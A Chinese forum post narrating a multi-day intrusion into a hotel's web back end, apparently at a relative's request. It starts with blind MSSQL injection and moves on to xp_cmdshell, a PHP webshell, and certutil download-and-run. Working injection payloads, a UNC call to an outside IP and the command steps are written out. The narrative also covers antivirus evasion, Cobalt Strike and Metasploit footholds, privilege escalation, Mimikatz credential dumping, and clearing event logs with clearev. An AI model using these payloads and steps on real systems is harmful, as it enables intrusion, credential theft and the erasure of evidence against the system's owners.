安全矩阵

 找回密码
 立即注册
搜索
查看: 2683|回复: 0

实战渗透浅谈-记一次应急渗透测试

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-31 14:27:19 | 显示全部楼层 |阅读模式
原文链接:实战渗透浅谈-记一次应急渗透测试

0x01 前言
目标已经主机上线,可以提权,经历了10天的洗礼,学到了很多很多,言归正传,先说说渗透中学到的。
0x02 查找相关资产
通过Fofa,导出目标C段,放到AWVS批量扫,(利用AWVS的表单填充)

发现是某酒店的后台

通过burp抓包,发现是mssql,输入单引号,返回500,我想运维人员猜测到是功能点出了问题,但没想到是sqli。

12-08 17: 35 然后直接给表弟发消息,说找到一个sqli,可能有搞头.
12-08 17: 38 表弟:牛逼啊,xxxx,拿下有重谢。
说了一堆,吹的我飘飘的,最近也没啥事,刚好看看。

0x03 发现注入点是sa
由于平时对mssql不了解,8号下班后回去补了点相关内容。
命令内容直接参看@谢公子写的博客(本来是付费的)
  1. select @@version;       #查询数据库的版本
  2. select @@servername;    #查询服务名
  3. select host_name();     #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
  4. select db_name();       #查询当前数据库名
  5. select db_name(1);      #查询第一个数据库名
  6. select db_name(2);      #查询第二个数据库名
  7. select user;            #查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner
  8. use tempdb              #切换到tempdb表  
  9. top n                   #查询前n条记录
  10. limit 2,3               #查询第2条开始的3条数据,也就是2,3,4
  11. select substring('string',2,1)     #截取给定字符串的索引为2的1个字符
  12. select ascii('a')                  #查询给定字符串的ascii值
  13. select len('string')               #查询给定字符串的长度
  14. EXEC sp_spaceused @updateusage = N'TRUE';  #查询当前数据库的大小
  15. sp_spaceused '表名'                #查询指定表名的大小
  16. EXEC master.sys.xp_dirtree '\\192.168.106.5\xx.txt',0,1;

  17. 判断是否是SA权限
  18. select is_srvrolemember('sysadmin')     
  19. 判断是否是db_owner权限  
  20. select is_member('db_owner')
  21. 判断是否是public权限
  22. select is_srvrolemember('public')
复制代码

由于这里是盲注,通过awvs的扫描结果知道支持堆叠,构造payload,延时3秒,说明权限为sa。

User=1’;if((select is_srvrolemember('sysadmin')=1))%20waitfor%20delay%20’0:0:2’--%20

然后花时间做些不痛不痒的探测,当时做的啥也不清楚了,探测mssql有大于7个库,延时2秒

探测 mssql 库的个数为18,延时2秒

到这里后,通过goby插件探测到目标机上没有waf,好家伙,直接掏出sqlmap,看看

结果sqlmap直接把目标跑崩了??

12-10 09:27  时间不早了,一个站拖了两天,一天在扫,一天在学,再玩下去就搞不下来了, 这里想到之前一段时间做的二分法。
构造好脚本后,直接去POST,经过反复尝试,返回500,burp抓包payload却不存在这情况,大大的困惑。

12-10 12:12 中午没有休息,苦逼的看着奇异的现象,问了下@up哥,说是编码的问题

然后没睡午觉,构造payload,把数据库名跑出来了

0x05 尝试二分法报库
Mssql中不存在limit,可以通过top 1 and not in (top 1)来截取我们想要的记录,当时构造的payload应该是这样的

# "User": "APsihQdh';if(ascii(substring((select top 1 name from qtx_bhjh..sysobjects where xtype='U' and name not in(select top 16 name from sysobjects where xtype='U')),{},1))<{}) waitfor delay '0:0:4' --%20".format(i,mid)
得到第一个表,zyzd,第二个mrfk,第三个cymx… 爆破前10个表并没发现admin表。
12/11 17:35 时间已经很晚了,下了班回去弄,nmm的,运气可能有些背
​​
12/12 09:33 上班后,通过构造payload,爆破前五个表中的内容


12/12 12:20 看来报表这条思路是走不通了,表中的内容和字段全是无规则的。
0x06 探测目标存在xp_cmdshell
12/13 08:10 已经走投无路了,进后台然后getshell基本行不通,试试能不能直接getshell,毕竟权限是sa
01. 发现数据库版本为2008 R2

02. 不存在站库分离

03. 本地测试开启存储过程xp_cmdshell

把相关payload发包给目标
01. 存在xp_cmdshell,延时3秒

02.利用 xp_cmdshell 执行ping发现目标机出网,但dnslog这天因为log4j2炸了

03.dnslog接收到消息,已经下班,上班再测试

上班后再想如何利用sa权限?找了两小时,发现可以把内容写入表中,然后再通过sqli读出来,虽然说站点没有回显,盲注,但在二分法面前,1个字符也就是3个请求而已。
01. 通过create创一张cmdtmp表

create table cmdtmp (dir varchar(1000))

02. 发现站点下存在某图片password.png,执行xp_cmdshell通过for批处理查找结果写入cmdtmp这张表

执行延迟35s,猜测可能已经写入
03. 这里想了很久,站点没有回显,如何判断是否写入成功了呢?
想到一个很骚的思路,如果写入成功了,那么他的表中列数一定有记录,可以借助这点,

没有写入,花了点时间排查网络的问题后,猜测可能是站点不在c盘
04. 通过fuzz,发现盘符为e时,延时20,在执行时,延时小于1,说明已经存在文件。


05. 很奇怪的是,这里会有7条记录

到这里,基本已经做了大部分的事情,如果能读表,就能带出站点的绝对路径,然后通过sa写入一个小马就能拿到shell,问题是迟迟的不能读出数据。
12/14 09:32 上班后,考虑如何解决这个问题,站点无任何回显,写入的数据如何去探测呢?
01. 类比之前探测表是否写入可以通过探测字段的个数。那么探测字段的数据......好像可以通过探测len(tmp)

02.发包探测目标站点,延时失败,难道说数据是空?

03. 本地测试发现存在这问题


04. 通过 is null 和 is not null 探测 cmdtmp 表

空记录为5,也就是结果为两条
​​

05. 尝试探测结果的第一位字符,值为e,延时2秒

06. 做到这里,总算能找到绝对路经了,二分法探测

0x06 目标绝对路径为中文路径
12/13 10:11 此时,应该点上一只烟,什么牛马环境?
12/13 12:12 又没睡午觉,想到一种很巧妙的思路
01. 中文通过url编码是可以外带

02. 本地通过for批处理测试

03. 执行xp_cmdshell通过web端外带,站点目录下mkdir一个myfile/coco.php文件,发包

发现挂了代理,coco.php成了cc.php 然后再测试发现已经延时35秒,这里明显嗅到目标机上有相关拦截。
04. 顺着思路,nmap扫描发现开了3389,远程看,发现并没有存在360保护进程图标。此时还是陷入了僵局。
0x07 通过nchar函数读取中文路径
这绝对是做过最骚的一个思路,如果说目标环境存在中文路径导致不能通过ascii码读表,那么sa权限就显的没有丝毫作用了。
01. 时间又过去了一天,通过查询资料,发现可以通过unicode编码汉字,作为二进制存储

02. 这里通过靶机做一个测验,看到结果发现可以转化为5位数字

nchar(25214)转化为汉字’找’

03. 这里花了一天半的时间写了个sql脚本,(以前也没写过,凭感觉写的发现能用)。

04. 通过二分法跑出字符,然后nchar(xxxxx)转化

第一个值36719

05. 通过xls做出一份资产表,得到结果路径为:
​​

e:\xxx软件\xxx_程序\业主xx\老板通xx程序\网站程序
0x08 通过网站路径写入shell
01. 这里折腾了很久,由于目标环境带中文,xp_cmdshell通过调用gbk编码,而我们日常的burp是utf-8编码,通过靶机测试,把中文转化为gb3212,发现已经可以写入


02. 发包目标机,成功写入某php小马

03.读表发现确实存在小马,但站点访问404

疑惑:尝试了多次,无果,折腾了一天,已经15号了,有mdkir的权限,创文件夹,但写入难道不该返回403吗?为什么返回404,难道这不是网站路径吗?
04. 花了点时间和@up哥交流了一下,没有一个好的结果

12/16 睡了一觉,突然想到会不会是备份的问题,然后又想到之前报路径有两个结果,那另一个结果呢?
0x09 发现真实网站路径
01. 延用前面的nchar函数手法,探测发现真实站点路径为,好家伙,原来搞了个备份。

e:\\业主xx\老板通xx程序\网站程序
02. 尝试 mkdir 和创文件,通过读cmdtmp表的记录确实是否有结果。

03. nmm的,没有写入权限,搞了半天,得到路径,不能写入,白打工了。
唯一的利用点是可以写入除了c和站点外的目录,于是问问@up哥,还有什么手法?
0x10 探测目标存在360?
01. @up哥探测出存在360,后续是执行whoami

02. 然后通过certutil下载运行

03.360拦截了,但这里好奇的是360卫士应该有3389的图标?后来@up哥说绕过了360,只要运行就能上线,拦截已经进程转移,但奇怪的是站点不能上线。
04. 这里做了很多,嗅觉告诉我这个杀软可能不是360,百度了一下,发现360浏览器简称就是 360se,@up哥通过web端执行whoami,结果为360se,也是说的通的。
​​
0x011 绝境探测出tasklist
01. 既然是360se,本机靶机通过hta加载文件,发现可以cs上线

02. 然后@up哥和我一块讨论命令执行的事,想到tasklist

03. 执行tasklist写入表,读表,返回数据0,拦截了,后续又试了mstra白名单,发现杀软会拦截此类敏感操作

04. 然后问@3had0w,看了他的文可以dnslog出网ping,"如何利用dnslog探测目标主机杀软"。
12/19 周末起来已经九点多了,发现执行ping tasklist的进程失败,果然又被拦截了。通过fuzz,发现 tasklist | findstr /C:.exe 没有拦截,写入表成功。

05. 然后二分法跑了一上午,到了中午,做出了一份tasklist

06. 然后@up哥说,他来免杀,12/19 12:18 玩了会游戏,睡了个觉,睡醒后,up发来消息

然后半小时

目标机上上线了,nmm的,那一个爽,搞了十来天

杀软真一堆,@up哥说可以烂土豆提权,一会功夫,直接拿下System!

然后让@up哥传个马到网站路径下:e:\xxx机\xxx部署程序\网站程序

@up哥说可以派生个cs到msf,msf很稳定,毕竟目标免杀比较多

Msf收到流量后,默认的ubuntu字体设置为gbk进入目标站点

Load Mimikatz 抓取目标 hash administrator ,看到这我笑了

由于有策略,就不对目标内网进行渗透了,没把代理转发到本地,不然可以转发到本地7777,直接访问3389
做完这些就结束了,执行clearev清除日志,然后在web.config读取配置文件找到sa的密码后,删除sqli的垃圾表就结束了


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 15:29 , Processed in 0.015616 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表